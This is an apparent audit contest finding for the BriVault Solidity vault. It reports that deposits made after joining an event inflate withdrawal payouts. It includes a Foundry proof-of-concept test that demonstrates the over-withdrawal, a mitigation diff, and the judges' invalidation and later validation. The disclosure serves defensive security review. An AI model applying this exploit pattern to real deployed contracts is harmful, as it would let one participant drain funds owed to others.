BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Share Tracking Inconsistency - Withdrawal Uses Current Shares While Winner Calculation Uses Join-Time Shares

ke5haav

Root + Impact

Description

  • The joinEvent() function captures the user's current share balance at the time they join the event and stores it in userSharesToCountry[msg.sender][countryId] for use in winner share calculations. Under normal behavior, a user's shares should remain consistent between join time and withdrawal time, ensuring that the shares used to calculate totalWinnerShares match the shares used during withdrawal.

  • However, users can deposit additional funds after joining the event, which increases their share balance. When joinEvent() is called on line 260, it captures the current share balance using balanceOf(msg.sender) and stores it in userSharesToCountry[msg.sender][countryId]. If the user deposits more after joining, their share balance increases, but the stored value in userSharesToCountry is not updated. When _getWinnerShares() calculates totalWinnerShares, it uses the old join-time share values from the mapping. However, when withdraw() is called on line 305, it uses the current balanceOf(msg.sender), which may be higher than the join-time shares. This creates an inconsistency where totalWinnerShares is calculated with lower share values, but withdrawals use higher share values, potentially allowing users to withdraw more than their proportional share of the prize pool.

// In joinEvent() - line 260-261
@>uint256 participantShares = balanceOf(msg.sender);
@>userSharesToCountry[msg.sender][countryId] = participantShares;
​
// In _getWinnerShares() - line 195
totalWinnerShares += userSharesToCountry[user][winnerCountryId]; // Uses join-time shares
​
// In withdraw() - line 305-308
@>uint256 shares = balanceOf(msg.sender); // Uses current shares (might be different!)
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);

Risk

Likelihood:

  • This vulnerability occurs when a user deposits additional funds after calling joinEvent(), as the function captures share balance at join time but does not update userSharesToCountry when subsequent deposits increase the user's share balance

  • The bug manifests during withdrawal when withdraw() uses the current balanceOf(msg.sender) while totalWinnerShares was calculated using the older join-time share values stored in userSharesToCountry, creating a mismatch in the payout calculation

Impact:

  • Users can withdraw more than their proportional share of the prize pool because totalWinnerShares is calculated with lower join-time shares while withdrawal uses higher current shares

  • The financial impact increases with the amount of additional deposits made after joining, as larger discrepancies between join-time and current shares result in larger over-withdrawals

  • In extreme cases, a user can drain the entire vault by depositing enough after joining, leaving nothing for other winners and causing complete loss of funds for legitimate participants

Proof of Concept

function testShareTrackingInconsistency() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
​
vm.startPrank(user1);
mockToken.approve(address(briVault), 10 ether);
// User deposits 5 ETH and joins event
briVault.deposit(5 ether, user1);
uint256 sharesAfterFirstDeposit = briVault.balanceOf(user1);
console.log("Shares after first deposit:", sharesAfterFirstDeposit);
briVault.joinEvent(10); // Join with country 10
uint256 joinTimeShares = briVault.userSharesToCountry(user1, 10);
console.log("Join-time shares stored:", joinTimeShares);
// User deposits 5 ETH more AFTER joining
briVault.deposit(5 ether, user1);
uint256 currentShares = briVault.balanceOf(user1);
console.log("Current shares after second deposit:", currentShares);
console.log("Share increase:", currentShares - joinTimeShares);
vm.stopPrank();
​
// Another user joins to have a baseline
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user2);
briVault.joinEvent(10);
vm.stopPrank();
​
// Set winner
vm.warp(eventEndDate + 1);
vm.startPrank(owner);
briVault.setWinner(10);
vm.stopPrank();
​
// Verify totalWinnerShares uses join-time shares
uint256 totalWinnerShares = briVault.totalWinnerShares();
uint256 user2JoinTimeShares = briVault.userSharesToCountry(user2, 10);
uint256 expectedTotalWinnerShares = joinTimeShares + user2JoinTimeShares;
console.log("\n=== Share Calculation Analysis ===");
console.log("Expected totalWinnerShares (join-time shares):", expectedTotalWinnerShares);
console.log("Actual totalWinnerShares:", totalWinnerShares);
assertEq(totalWinnerShares, expectedTotalWinnerShares,
"totalWinnerShares should use join-time shares");
// Calculate payouts
uint256 vaultBalance = briVault.finalizedVaultAsset();
// Expected payout for user1 (if using join-time shares consistently)
uint256 expectedPayoutUser1 = (joinTimeShares * vaultBalance) / totalWinnerShares;
// Actual payout for user1 (using current shares with join-time totalWinnerShares)
uint256 actualPayoutUser1 = (currentShares * vaultBalance) / totalWinnerShares;
console.log("\n=== Payout Calculation ===");
console.log("Expected payout (join-time shares):", expectedPayoutUser1);
console.log("Actual payout (current shares):", actualPayoutUser1);
console.log("Over-withdrawal:", actualPayoutUser1 - expectedPayoutUser1);
// Verify user1 receives more than fair share
assertGt(actualPayoutUser1, expectedPayoutUser1,
"User1 should receive more due to share inconsistency");
// Test actual withdrawal
uint256 user1BalanceBefore = mockToken.balanceOf(user1);
vm.startPrank(user1);
briVault.withdraw();
vm.stopPrank();
uint256 user1BalanceAfter = mockToken.balanceOf(user1);
uint256 actualReceived = user1BalanceAfter - user1BalanceBefore;
console.log("\n=== Actual Withdrawal ===");
console.log("User1 actually received:", actualReceived);
assertEq(actualReceived, actualPayoutUser1, "Withdrawal matches calculated payout");
assertGt(actualReceived, expectedPayoutUser1, "User1 received more than fair share");
}

Explanation:

This proof of concept demonstrates the vulnerability by showing how a user can deposit additional funds after joining the event, causing their share balance to increase while the stored join-time shares remain unchanged. The test performs the following steps:

  1. Setup: User deposits initial funds and joins the event

  2. Additional Deposit: User deposits more funds after joining, increasing their share balance

  3. Winner Set: Owner sets the winner, triggering _getWinnerShares() calculation using join-time shares

  4. Verification: The test verifies that totalWinnerShares uses the lower join-time shares

  5. Withdrawal: User withdraws using current (higher) shares, receiving more than their fair share

The test calculates the expected payout (if shares were consistent) versus the actual payout (with the inconsistency) to demonstrate the financial impact.

Recommended Mitigation

Explanation:

The recommended mitigation ensures consistency between join-time shares and withdrawal shares by using the stored join-time shares from userSharesToCountry during withdrawal instead of the current share balance. This ensures that the shares used to calculate totalWinnerShares match the shares used during withdrawal.

function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
​
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
- uint256 shares = balanceOf(msg.sender);
+
+ // Use join-time shares instead of current balance for consistency
+ // winnerCountryId is public, so it's accessible here
+ uint256 shares = userSharesToCountry[msg.sender][winnerCountryId];
+ if (shares == 0) {
+ revert didNotWin();
+ }
​
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
​
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
​
emit Withdraw(msg.sender, assetToWithdraw);
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
bube Lead Judge 15 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Deposits after joining the event are not correctly accounted

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!